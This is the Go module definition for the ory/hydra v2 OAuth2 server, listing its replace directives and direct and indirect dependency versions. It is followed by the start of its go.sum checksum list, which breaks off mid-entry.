module github.com/ory/hydra/v2 go 1.20 replace ( github.com/jackc/pcmock => github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 github.com/jackc/pgconn => github.com/jackc/pgconn v1.14.1 github.com/mattn/go-sqlite3 => github.com/mattn/go-sqlite3 v1.14.16 ) replace github.com/ory/hydra-client-go/v2 => ./internal/httpclient require ( github.com/ThalesIgnite/crypto11 v1.2.5 github.com/bradleyjkemp/cupaloy/v2 v2.8.0 github.com/cenkalti/backoff/v3 v3.2.2 github.com/fatih/structs v1.1.0 github.com/go-faker/faker/v4 v4.1.1 github.com/go-jose/go-jose/v3 v3.0.0 github.com/go-swagger/go-swagger v0.30.5 github.com/gobuffalo/pop/v6 v6.1.2-0.20230318123913-c85387acc9a0 github.com/gobwas/glob v0.2.3 github.com/gofrs/uuid v4.4.0+incompatible github.com/golang-jwt/jwt/v5 v5.0.0 github.com/golang/mock v1.6.0 github.com/google/uuid v1.3.0 github.com/gorilla/securecookie v1.1.1 github.com/gorilla/sessions v1.2.1 github.com/hashicorp/go-retryablehttp v0.7.4 github.com/jackc/pgx/v4 v4.18.1 github.com/julienschmidt/httprouter v1.3.0 github.com/luna-duclos/instrumentedsql v1.1.3 github.com/miekg/pkcs11 v1.1.1 github.com/mikefarah/yq/v4 v4.34.2 github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 github.com/oleiade/reflections v1.0.1 github.com/ory/analytics-go/v5 v5.0.1 github.com/ory/fosite v0.44.1-0.20230807113540-d4605bb2b3a6 github.com/ory/go-acc v0.2.9-0.20230103102148-6b1c9a70dbbe github.com/ory/graceful v0.1.3 github.com/ory/herodot v0.10.3-0.20230626083119-d7e5192f0d88 github.com/ory/hydra-client-go/v2 v2.1.1 github.com/ory/jsonschema/v3 v3.0.8 github.com/ory/kratos-client-go v0.13.1 github.com/ory/x v0.0.582-0.20230816082414-f1e6acad79b5 github.com/pborman/uuid v1.2.1 github.com/pkg/errors v0.9.1 github.com/prometheus/client_golang v1.16.0 github.com/rs/cors v1.9.0 github.com/sawadashota/encrypta v0.0.3 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.7.0 github.com/spf13/pflag v1.0.5 github.com/stretchr/testify v1.8.4 github.com/tidwall/gjson v1.15.0 github.com/tidwall/sjson v1.2.5 github.com/tomnomnom/linkheader v0.0.0-20180905144013-02ca5825eb80 github.com/toqueteos/webbrowser v1.2.0 github.com/twmb/murmur3 v1.1.8 github.com/urfave/negroni v1.0.0 go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.42.0 go.opentelemetry.io/otel v1.16.0 go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.16.0 go.opentelemetry.io/otel/sdk v1.16.0 go.opentelemetry.io/otel/trace v1.16.0 go.uber.org/automaxprocs v1.5.3 golang.org/x/crypto v0.12.0 golang.org/x/exp v0.0.0-20230809094429-853ea248256d golang.org/x/oauth2 v0.11.0 golang.org/x/sync v0.3.0 golang.org/x/tools v0.12.0 ) require github.com/hashicorp/go-cleanhttp v0.5.2 // indirect require ( github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 // indirect github.com/Masterminds/goutils v1.1.1 // indirect github.com/Masterminds/semver/v3 v3.2.1 // indirect github.com/Masterminds/sprig/v3 v3.2.3 // indirect github.com/Microsoft/go-winio v0.6.1 // indirect github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 // indirect github.com/a8m/envsubst v1.4.2 // indirect github.com/alecthomas/participle/v2 v2.0.0 // indirect github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect github.com/avast/retry-go/v4 v4.5.0 // indirect github.com/aymerick/douceur v0.2.0 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/cenkalti/backoff/v4 v4.2.1 // indirect github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/cockroachdb/cockroach-go/v2 v2.3.5 // indirect github.com/containerd/continuity v0.4.1 // indirect github.com/creasty/defaults v1.7.0 // indirect github.com/cristalhq/jwt/v4 v4.0.2 // indirect github.com/dave/jennifer v1.7.0 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/dgraph-io/ristretto v0.1.1 // indirect github.com/dimchansky/utfbom v1.1.1 // indirect github.com/docker/cli v20.10.21+incompatible // indirect github.com/docker/distribution v2.8.2+incompatible // indirect github.com/docker/docker v20.10.24+incompatible // indirect github.com/docker/go-connections v0.4.0 // indirect github.com/docker/go-units v0.5.0 // indirect github.com/dustin/go-humanize v1.0.1 // indirect github.com/ecordell/optgen v0.0.9 // indirect github.com/elliotchance/orderedmap v1.5.0 // indirect github.com/evanphx/json-patch/v5 v5.6.0 // indirect github.com/fatih/color v1.15.0 // indirect github.com/fatih/structtag v1.2.0 // indirect github.com/felixge/fgprof v0.9.3 // indirect github.com/felixge/httpsnoop v1.0.3 // indirect github.com/fsnotify/fsnotify v1.6.0 // indirect github.com/go-logr/logr v1.2.4 // indirect github.com/go-logr/stdr v1.2.2 // indirect github.com/go-openapi/analysis v0.21.4 // indirect github.com/go-openapi/errors v0.20.4 // indirect github.com/go-openapi/inflect v0.19.0 // indirect github.com/go-openapi/jsonpointer v0.20.0 // indirect github.com/go-openapi/jsonreference v0.20.2 // indirect github.com/go-openapi/loads v0.21.2 // indirect github.com/go-openapi/runtime v0.26.0 // indirect github.com/go-openapi/spec v0.20.9 // indirect github.com/go-openapi/strfmt v0.21.7 // indirect github.com/go-openapi/swag v0.22.4 // indirect github.com/go-openapi/validate v0.22.1 // indirect github.com/go-sql-driver/mysql v1.7.1 // indirect github.com/gobuffalo/envy v1.10.2 // indirect github.com/gobuffalo/fizz v1.14.4 // indirect github.com/gobuffalo/flect v1.0.2 // indirect github.com/gobuffalo/github_flavored_markdown v1.1.4 // indirect github.com/gobuffalo/helpers v0.6.7 // indirect github.com/gobuffalo/nulls v0.4.2 // indirect github.com/gobuffalo/plush/v4 v4.1.19 // indirect github.com/gobuffalo/tags/v3 v3.1.4 // indirect github.com/gobuffalo/validate/v3 v3.3.3 // indirect github.com/goccy/go-json v0.10.2 // indirect github.com/goccy/go-yaml v1.11.0 // indirect github.com/gofrs/flock v0.8.1 // indirect github.com/gogo/protobuf v1.3.2 // indirect github.com/golang/glog v1.1.2 // indirect github.com/golang/protobuf v1.5.3 // indirect github.com/google/pprof v0.0.0-20230808223545-4887780b67fb // indirect github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect github.com/gorilla/css v1.0.0 // indirect github.com/gorilla/handlers v1.5.1 // indirect github.com/gorilla/websocket v1.5.0 // indirect github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 // indirect github.com/grpc-ecosystem/grpc-gateway/v2 v2.16.2 // indirect github.com/hashicorp/hcl v1.0.0 // indirect github.com/huandu/xstrings v1.4.0 // indirect github.com/imdario/mergo v0.3.16 // indirect github.com/inconshreveable/mousetrap v1.1.0 // indirect github.com/inhies/go-bytesize v0.0.0-20220417184213-4913239db9cf // indirect github.com/jackc/chunkreader/v2 v2.0.1 // indirect github.com/jackc/pgconn v1.14.1 // indirect github.com/jackc/pgio v1.0.0 // indirect github.com/jackc/pgpassfile v1.0.0 // indirect github.com/jackc/pgproto3/v2 v2.3.2 // indirect github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect github.com/jackc/pgtype v1.14.0 // indirect github.com/jandelgado/gcov2lcov v1.0.5 // indirect github.com/jessevdk/go-flags v1.5.0 // indirect github.com/jinzhu/copier v0.3.5 // indirect github.com/jmoiron/sqlx v1.3.5 // indirect github.com/joho/godotenv v1.5.1 // indirect github.com/josharian/intern v1.0.0 // indirect github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect github.com/knadh/koanf/maps v0.1.1 // indirect github.com/knadh/koanf/parsers/json v0.1.0 // indirect github.com/knadh/koanf/parsers/toml v0.1.0 // indirect github.com/knadh/koanf/parsers/yaml v0.1.0 // indirect github.com/knadh/koanf/providers/posflag v0.1.0 // indirect github.com/knadh/koanf/v2 v2.0.1 // indirect github.com/kr/pretty v0.3.1 // indirect github.com/kr/text v0.2.0 // indirect github.com/lib/pq v1.10.9 // indirect github.com/magiconair/properties v1.8.7 // indirect github.com/mailru/easyjson v0.7.7 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.19 // indirect github.com/mattn/go-sqlite3 v2.0.3+incompatible // indirect github.com/mattn/goveralls v0.0.12 // indirect github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect github.com/microcosm-cc/bluemonday v1.0.25 // indirect github.com/mitchellh/copystructure v1.2.0 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/mitchellh/reflectwalk v1.0.2 // indirect github.com/moby/term v0.5.0 // indirect github.com/nyaruka/phonenumbers v1.1.7 // indirect github.com/oklog/ulid v1.3.1 // indirect github.com/opencontainers/go-digest v1.0.0 // indirect github.com/opencontainers/image-spec v1.1.0-rc4 // indirect github.com/opencontainers/runc v1.1.8 // indirect github.com/openzipkin/zipkin-go v0.4.1 // indirect github.com/ory/dockertest/v3 v3.10.0 // indirect github.com/ory/go-convenience v0.1.0 // indirect github.com/pelletier/go-toml v1.9.5 // indirect github.com/pelletier/go-toml/v2 v2.0.9 // indirect github.com/pkg/profile v1.7.0 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect github.com/prometheus/client_model v0.4.0 // indirect github.com/prometheus/common v0.44.0 // indirect github.com/prometheus/procfs v0.11.1 // indirect github.com/rogpeppe/go-internal v1.11.0 // indirect github.com/seatgeek/logrus-gelf-formatter v0.0.0-20210414080842-5b05eb8ff761 // indirect github.com/segmentio/backo-go v1.0.1 // indirect github.com/sergi/go-diff v1.3.1 // indirect github.com/shopspring/decimal v1.3.1 // indirect github.com/sourcegraph/annotate v0.0.0-20160123013949-f4cad6c6324d // indirect github.com/sourcegraph/syntaxhighlight v0.0.0-20170531221838-bd320f5d308e // indirect github.com/spf13/afero v1.9.5 // indirect github.com/spf13/cast v1.5.1 // indirect github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/spf13/viper v1.16.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect github.com/thales-e-security/pool v0.0.2 // indirect github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/pretty v1.2.1 // indirect github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb // indirect github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect github.com/xeipuuv/gojsonschema v1.2.0 // indirect github.com/xtgo/uuid v0.0.0-20140804021211-a0b114877d4c // indirect go.mongodb.org/mongo-driver v1.12.1 // indirect go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace v0.42.0 // indirect go.opentelemetry.io/contrib/propagators/b3 v1.17.0 // indirect go.opentelemetry.io/contrib/propagators/jaeger v1.17.0 // indirect go.opentelemetry.io/contrib/samplers/jaegerremote v0.11.0 // indirect go.opentelemetry.io/otel/exporters/jaeger v1.16.0 // indirect go.opentelemetry.io/otel/exporters/otlp/internal/retry v1.16.0 // indirect go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.16.0 // indirect go.opentelemetry.io/otel/exporters/zipkin v1.16.0 // indirect go.opentelemetry.io/otel/metric v1.16.0 // indirect go.opentelemetry.io/proto/otlp v1.0.0 // indirect golang.org/x/mod v0.12.0 // indirect golang.org/x/net v0.14.0 // indirect golang.org/x/sys v0.11.0 // indirect golang.org/x/text v0.12.0 // indirect golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2 // indirect google.golang.org/appengine v1.6.7 // indirect google.golang.org/genproto v0.0.0-20230807174057-1744710a1577 // indirect google.golang.org/genproto/googleapis/api v0.0.0-20230807174057-1744710a1577 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230807174057-1744710a1577 // indirect google.golang.org/grpc v1.57.0 // indirect google.golang.org/protobuf v1.31.0 // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/op/go-logging.v1 v1.0.0-20160211212156-b2cb9fa56473 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect )
hydra/go.sum
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 h1:L/gRVlceqvL25UVaW/CKtUDjefjrs0SPonmDGUVOYP0= github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs= github.com/Masterminds/semver/v3 v3.2.0/go.mod h1:qvl/7zhW3nngYb5+80sSMF+FG2BjYrf8m9wsX0PNOMQ= github.com/Masterminds/semver/v3 v3.2.1 h1:RN9w6+7QoMeJVGyfmbcgs28Br8cvmnucEXnY0rYXWg0= github.com/Masterminds/semver/v3 v3.2.1/go.mod h1:qvl/7zhW3nngYb5+80sSMF+FG2BjYrf8m9wsX0PNOMQ= github.com/Masterminds/sprig/v3 v3.2.3 h1:eL2fZNezLomi0uOLqjQoN6BfsDD+fyLtgbJMAj9n6YA= github.com/Masterminds/sprig/v3 v3.2.3/go.mod h1:rXcFaZ2zZbLRJv/xSysmlgIM1u11eBaRMhvYXJNkGuM= github.com/Microsoft/go-winio v0.6.1 h1:9/kr64B9VUZrLm5YYwbGtUJnMgqWVOdUAXu6Migciow= github.com/Microsoft/go-winio v0.6.1/go.mod h1:LRdKpFKfdobln8UmuiYcKPot9D2v6svN5+sAH+4kjUM= github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 h1:TngWCqHvy9oXAN6lEVMRuU21PR1EtLVZJmdB18Gu3Rw= github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5/go.mod h1:lmUJ/7eu/Q8D7ML55dXQrVaamCz2vxCfdQBasLZfHKk= github.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0= github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE= github.com/ThalesIgnite/crypto11 v1.2.5 h1:1IiIIEqYmBvUYFeMnHqRft4bwf/O36jryEUpY+9ef8E= github.com/ThalesIgnite/crypto11 v1.2.5/go.mod h1:ILDKtnCKiQ7zRoNxcp36Y1ZR8LBPmR2E23+wTQe/MlE= github.com/a8m/envsubst v1.4.2 h1:4yWIHXOLEJHQEFd4UjrWDrYeYlV7ncFWJOCBRLOZHQg= github.com/a8m/envsubst v1.4.2/go.mod h1:MVUTQNGQ3tsjOOtKCNd+fl8RzhsXcDvvAEzkhGtlsbY= github.com/alecthomas/assert/v2 v2.2.2 h1:Z/iVC0xZfWTaFNE6bA3z07T86hd45Xe2eLt6WVy2bbk= github.com/alecthomas/participle/v2 v2.0.0 h1:Fgrq+MbuSsJwIkw3fEj9h75vDP0Er5JzepJ0/HNHv0g= github.com/alecthomas/participle/v2 v2.0.0/go.mod h1:rAKZdJldHu8084ojcWevWAL8KmEU+AT+Olodb+WoN2Y= github.com/alecthomas/repr v0.2.0 h1:HAzS41CIzNW5syS8Mf9UwXhNH1J9aix/BvDRf1Ml2Yk= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/asaskevich/govalidator v0.0.0-20200907205600-7a23bdc65eef/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so= github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= github.com/avast/retry-go/v4 v4.5.0 h1:QoRAZZ90cj5oni2Lsgl2GW8mNTnUCnmpx/iKpwVisHg= github.com/avast/retry-go/v4 v4.5.0/go.mod h1:7hLEXp0oku2Nir2xBAsg0PTphp9z71bN5Aq1fboC3+I= github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= github.com/bradleyjkemp/cupaloy/v2 v2.8.0 h1:any4BmKE+jGIaMpnU8YgH/I2LPiLBufr6oMMlVBbn9M= github.com/bradleyjkemp/cupaloy/v2 v2.8.0/go.mod h1:bm7JXdkRd4BHJk9HpwqAI8BoAY1lps46Enkdqw6aRX0= github.com/cenkalti/backoff/v3 v3.2.2 h1:cfUAAO3yvKMYKPrvhDuHSwQnhZNk/RMHKdZqKTxfm6M= github.com/cenkalti/backoff/v3 v3.2.2/go.mod h1:cIeZDE3IrqwwJl6VUwCN6trj1oXrTS4rc0ij+ULvLYs= github.com/cenkalti/backoff/v4 v4.2.1 h1:y4OZtCnogmCPw98Zjyt5a6+QwPLGkiQsYW5oUqylYbM= github.com/cenkalti/backoff/v4 v4.2.1/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/checkpoint-restore/go-criu/v5 v5.3.0/go.mod h1:E/eQpaFtUKGOOSEBZgmKAcn+zUUwWxqcaKZlF54wK8E= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= github.com/cilium/ebpf v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/cockroachdb/cockroach-go/v2 v2.3.5 h1:Khtm8K6fTTz/ZCWPzU9Ne3aOW9VyAnj4qIPCJgKtwK0= github.com/cockroachdb/cockroach-go/v2 v2.3.5/go.mod h1:1wNJ45eSXW9AnOc3skntW9ZUZz6gxrQK3cOj3rK+BC8= github.com/containerd/console v1.0.3/go.mod h1:7LqA/THxQ86k76b8c/EMSiaJ3h1eZkMkXar0TQ1gf3U= github.com/containerd/continuity v0.4.1 h1:wQnVrjIyQ8vhU2sgOiL5T07jo+ouqc2bnKsv5/EqGhU= github.com/containerd/continuity v0.4.1/go.mod h1:F6PTNCKepoxEaXLQp3wDAjygEnImnZ/7o4JzpodfroQ= github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= github.com/creasty/defaults v1.7.0 h1:eNdqZvc5B509z18lD8yc212CAqJNvfT1Jq6L8WowdBA= github.com/creasty/defaults v1.7.0/go.mod h1:iGzKe6pbEHnpMPtfDXZEr0NVxWnPTjb1bbDy08fPzYM= github.com/cristalhq/jwt/v4 v4.0.2 h1:g/AD3h0VicDamtlM70GWGElp8kssQEv+5wYd7L9WOhU= github.com/cristalhq/jwt/v4 v4.0.2/go.mod h1:HnYraSNKDRag1DZP92rYHyrjyQHnVEHPNqesmzs+miQ= github.com/cyphar/filepath-securejoin v0.2.3/go.mod h1:aPGpWjXOXUn2NCNjFvBE6aRxGGx79pTxQpKOJNYHHl4= github.com/dave/jennifer v1.7.0 h1:uRbSBH9UTS64yXbh4FrMHfgfY762RD+C7bUPKODpSJE= github.com/dave/jennifer v1.7.0/go.mod h1:nXbxhEmQfOZhWml3D1cDK5M1FLnMSozpbFN/m3RmGZc= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dgraph-io/ristretto v0.1.1 h1:6CWw5tJNgpegArSHpNHJKldNeq03FQCwYvfMVWajOK8= github.com/dgraph-io/ristretto v0.1.1/go.mod h1:S1GPSBCYCIhmVNfcth17y2zZtQT6wzkzgwUve0VDWWA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U= github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE= github.com/docker/cli v20.10.21+incompatible 